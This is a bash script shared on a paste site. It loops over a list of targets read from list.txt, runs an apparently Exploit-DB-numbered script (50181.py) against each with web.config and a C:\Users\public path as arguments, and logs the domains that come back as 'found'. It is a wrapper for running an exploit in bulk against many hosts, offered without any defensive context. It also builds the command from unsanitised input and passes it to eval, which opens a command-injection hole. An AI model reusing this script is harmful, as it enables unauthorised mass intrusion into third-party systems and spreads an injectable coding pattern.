Untitled

mail@pastecode.io avatar
unknown
plain_text
2 months ago
1.3 kB
2
Indexable
Never
#!/bin/bash

# Define the text file containing the list of words
list_file="list.txt"

# Check if the list file exists
if [ ! -f "$list_file" ]; then
    echo "Error: List file '$list_file' not found!"
    exit 1
fi

# Read the list file and store the words in an array
readarray -t words < "$list_file"

# Check if the array is empty
if [ ${#words[@]} -eq 0 ]; then
    echo "Error: No words found in the list file!"
    exit 1
fi

# Specify the output file to save filtered results
output_file="filtered_results.txt"

# Loop over each word in the array
for word in "${words[@]}"; do
    # Construct the command
    command="python3 50181.py -u $word -f web.config -p 'C:\Users\public'"
    echo "Executing command: $command"
    
    # Execute the command, filter the results for "fileInfo", and extract domains
    result=$(eval "$command" | grep -oE '[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}')

    # If result contains domain(s), save them to the output file
    if [ -n "$result" ]; then
        # Print the word followed by "=> found" for each domain found
        while IFS= read -r domain; do
            echo "$domain => found" >> "$output_file"
        done <<< "$result"
    fi
done

echo "Filtered results saved in $output_file"
Leave a Comment